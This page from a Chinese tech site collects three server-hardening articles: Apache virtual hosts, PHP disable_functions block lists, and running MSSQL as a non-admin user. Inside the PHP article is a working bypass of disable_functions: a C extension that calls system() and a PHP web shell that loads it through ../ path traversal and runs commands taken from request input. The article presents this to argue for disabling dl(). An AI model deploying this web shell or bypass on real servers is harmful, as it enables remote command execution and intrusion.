当前位置:  操作系统/服务器>linux
本页文章导读:
    ▪Apache 多站点虚拟主机配置方法       修改配置文件 conf/httpd.conf 1.加入下面两句 NameVirtualHost *:80 Include conf/vhosts 2.在conf目录中建立vhosts目录 然后在 vhosts 目录下面建立相应的站点配置文件 如建立 hhj..conf 文件 内容: 代码如下:&l.........
    ▪php.ini 启用disable_functions提高安全       Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. However, most script kiddie try to exploit php application such as wordpress using exec() , passthru() , shell_exec() , system() etc functions. How.........
    ▪Windows2003 MSSQL 安全设置教程       为什么要将MS SQL SERVER数据库必须运行在“普通用户”的状态下呢?因为如果使用了“超级管理员”或者“本地系统用户”来运行“SQL2000数据库”,就会被黑客利用,利用SYSTEM用户权限入侵.........

[1]Apache 多站点虚拟主机配置方法
    来源: 互联网  发布时间: 2013-12-24
修改配置文件 conf/httpd.conf
1.加入下面两句
NameVirtualHost *:80
Include conf/vhosts
2.在conf目录中建立vhosts目录
然后在 vhosts 目录下面建立相应的站点配置文件
如建立 hhj..conf 文件
内容:
代码如下:

<VirtualHost *:80>
ServerAdmin hhj@live.it
ServerName www.hhj.
ServerAlias hhj.
DocumentRoot "F:\wwwroot\hhj."
DirectoryIndex index.html index.htm index.php
ErrorLog logs/hhj.-error_log.log
CustomLog logs/hhj.-access_log.log common
<Directory "F:\wwwroot\hhj.">
AllowOverride All
Options FollowSymLinks
Order Deny,Allow
Allow from all
</Directory>
</VirtualHost>

3.重启apache服务

    
[2]php.ini 启用disable_functions提高安全
    来源: 互联网  发布时间: 2013-12-24
Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. However, most script kiddie try to exploit php application such as wordpress using exec() , passthru() , shell_exec() , system() etc functions. How do I disable these functions to improve my php script security?
A. PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in php.ini using disable_functions directive. This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf.
Open php.ini file:
# vi /etc/php.ini
Find disable_functions and set new list as follows:
查找disable_functions然后用下面的替换

代码如下:

disable_functions =phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Save and close the file. Restart httpd:
代码如下:

# service httpd restart

Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:

iis中设置方法,在c:\windows\php.ini

星外的设置:

代码如下:

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,gzinflate,set_time_limit

建议增加phpinfo等,可以参考上面的设置,以后在使用过程中可能会出现php不支持部分功能的现象,然后大家可以搜索下错误提示,去掉相应的函数即可。
支持的越多越不安全,对于采集程序来说需要去掉curl_exec,大家多测试即可。

下面提供一个更完整的版本

代码如下:

disable_functions =phpinfo,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,curl_exec,multi_exec,chmod,gzinflate,set_time_limit,


iis中设置后,运行中输入 iisreset /restart即可。


注意下面的突破方法:建议打开安全模式
PHP是一款功能强大应用广泛的脚本语言,很大一部分网站都是使用PHP架构的。因为其提供了强大的文件操作功能和与系统交互的功能,所以大部分的服务器都对PHP做了严格的限制,包括使用open_basedir限制可以操作的目录以及使用disable_functions限制程序使用一些可以直接执行系统命令的函数如system,exec,passthru,shell_exec,proc_open等等。但是如果服务器没有对dl()函数做限制,一样可以利用dl()函数饶过这些限制。
dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,包括系统命令。
PHP_FUNCTION(dl)
{
pval **file;
#ifdef ZTS
if ((strncmp(sapi_module.name, "cgi", 3)!=0) &&
(strcmp(sapi_module.name, "cli")!=0) &&
(strncmp(sapi_module.name, "embed", 5)!=0)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php.ini");
RETURN_FALSE;
} //验证是否可以使用dl函数,在多线程web服务器里是禁止的
#endif
/* obtain arguments */
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(file); //取得参数
if (!PG(enable_dl)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled");//验证是否enable_dl,默认为on
} else if (PG(safe_mode)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//验证是否safe_mode打开
} else {
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //开始调用加载
EG(full_tables_cleanup) = 1;
}
下面是开始处理模块的加载
void php_dl(pval *file, int type, pval *return_value TSRMLS_DC)
{
void *handle;
char *libpath;
zend_module_entry *module_entry, *tmp;
zend_module_entry *(*get_module)(void);
int error_type;
char *extension_dir; //定义一些变量
if (type==MODULE_PERSISTENT) {
/* Use the configuration hash directly, the INI mechanism is not yet initialized */
if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) {
extension_dir = PHP_EXTENSION_DIR;
}
} else {
extension_dir = PG(extension_dir);
} //取得php.ini里的设置也就是extension_dir的目录
if (type==MODULE_TEMPORARY) {
error_type = E_WARNING;
} else {
error_type = E_CORE_WARNING;
}
if (extension_dir && extension_dir[0]){
int extension_dir_len = strlen(extension_dir);
libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2);
if (IS_SLASH(extension_dir[extension_dir_len-1])) {
sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); /* SAFE */
} else {
sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */
} //构造最终的so文件的位置,只是简单的附加,并没有对传入的参数做任何检查,包括open_basedir等
} else {
libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file));
}
/* load dynamic symbol */
handle = DL_LOAD(libpath); //开始真正的调用了
看到了吧,我们可以调用任意的so了哦!下一步就是编写自己的so模块,并且调用他。按照官方提供的模块编写方法,我写了个很简单的,主要的导出函数loveshell如下:
PHP_FUNCTION(loveshell)
{
char *command;
int command_len;
if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) {
WRONG_PARAM_COUNT;
}
system(command);
zend_printf("I recieve %s",command);
}
注意由于php4和php5的结构不一样,所以如果想要能顺利调用扩展,那么在php4环境下就要将上面的代码放到php4环境下编译,php5的就要在php5环境下编译。我们将编写好的扩展上传到服务器,就可以利用下面的代码执行命令了:
<?php
dl('../../../../../../../../../www/users/www.cnbct.org/loveshell.so');
$cmd=$_REQUEST[c]." 2>&1>tmp.txt";
loveshell($cmd);
echo "<br>";
echo file_get_contents('tmp.txt');
?>
所以如果想保证服务器的安全,请将这个函数加到disable_functions里或者将安全模式打开吧,在安全模式下dl函数是无条件禁止的!:)

    
[3]Windows2003 MSSQL 安全设置教程
    来源: 互联网  发布时间: 2013-12-24

为什么要将MS SQL SERVER数据库必须运行在“普通用户”的状态下呢?因为如果使用了“超级管理员”或者“本地系统用户”来运行“SQL2000数据库”,就会被黑客利用,利用SYSTEM用户权限入侵服务器。因此,为了服务器安全,务必将MS SQL SERVER运行在“普通用户”的状态下。同时,要对硬盘的权限做好对应的权限设置MS SQL SERVER才能正常运行。

将MS SQL SERVER运行于普通用户下

  • 建立普通用户;
    单击“开始”—“管理工具”—“计算机管理”,进入计算机管理界面。
  • 单击“系统工具”—“本地用户和组”—“用户” ,进入用户管理;
  • 在“用户”上右击,选中“新用户”,添加新用户;
  • 进入新用户建立界面;
  • 输入MS SQL SERVER运行用户“mssqlrun” ,并设置密码,单击“创建”建立该用户;
  • 打开MSSQL SERVER安装盘根目录的安全属性(在安装盘盘符上右键单击,选择“属性”,在弹出的属性框中单击“安全”标签)。
  • 单击“添加”,在“选择用户或组”里输入刚刚添加的MSSQL运行用户“mssqlrun”,单击确定给MSSQLSERVER安装盘根目录添加用户;
  • 设置“Mssqlrun”用户的权限,将默认的“读取和运行”权限取消,保留“读取”和“列出文件夹目录”权限,单击“确定”,保存该设置并退出;

  • 进入MSSQL SERVER安装目录,同样在文件夹内右键选择“属性”;
  • 打开MSSQL SERVER安装目录属性的“安全”属性,删除“SYSTEM”用户,添加“mssqlrun”用户,权限为完全控制;
  • 设置完目录的权限后,就需要将MS SQL SERVER的运行用户设置为mssqlrun;
  • 单击“此帐户”,设置帐户;
  • 单击“浏览”,在输入框中输入MSSQL SERVER的用户“mssqlrun”;
  • 在密码和确认密码中输入mssqlrun用户的密码,单击“应用”,系统弹出服务警告窗口“新的登录名只有在您停止并重启服务时才可生效。”,单击确定即可。
     
  • 此时重启一下服务,MSSQL SERVER就运行在mssqlrun这个普通权限的用户之下了,服务器安全将大大增强。


        
    最新技术文章:
    ▪linux系统中的列出敏感用户的脚本代码
    ▪a10 config backup for aXAPI
    ▪一键备份gitolite服务器的Shell脚本
    ▪nagios 分发文件实现代码
    ▪阿里云云服务器Linux系统更新yum源Shell脚本
    ▪一个监控LINUX目录和文件变化的Shell脚本分享
    ▪Linux下实现SSH免密码登录和实现秘钥的管理、...
    oracle iis7站长之家
    ▪3个备份系统文件并邮件发送的Shell脚本分享
    ▪CentOS 6.3下给PHP添加mssql扩展模块教程
    ▪监控网站是否可以正常打开的Shell脚本分享
    ▪shell脚本编程之if语句学习笔记
    ▪shell脚本编程之循环语句学习笔记
    ▪shell脚本编程之case语句学习笔记
    ▪Shell脚本实现的阳历转农历代码分享
    ▪Shell脚本实现复制文件到多台服务器的代码分...
    ▪Shell脚本实现批量下载网络图片代码分享
    ▪Shell脚本实现检测文件是否被修改过代码分享
    ▪Shell脚本数组用法小结
    ▪Shell脚本批量重命名文件后缀的3种实现
    ▪C语言实现的ls命令源码分享
    ▪Linux下查找后门程序 CentOS 查后门程序的shell脚...
    ▪Shell 函数参数
    ▪linux shell 自定义函数方法(定义、返回值、变...
    ▪Shell实现判断进程是否存在并重新启动脚本分...
    ▪Shell脚本break和continue命令简明教程
    ▪Shell脚本函数定义和函数参数
    ▪让代码整洁、过程清晰的BASH Shell编程技巧
    ▪shell常用重定向实例讲解
    ▪awk中RS、ORS、FS、OFS的区别和联系小结
     


    站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3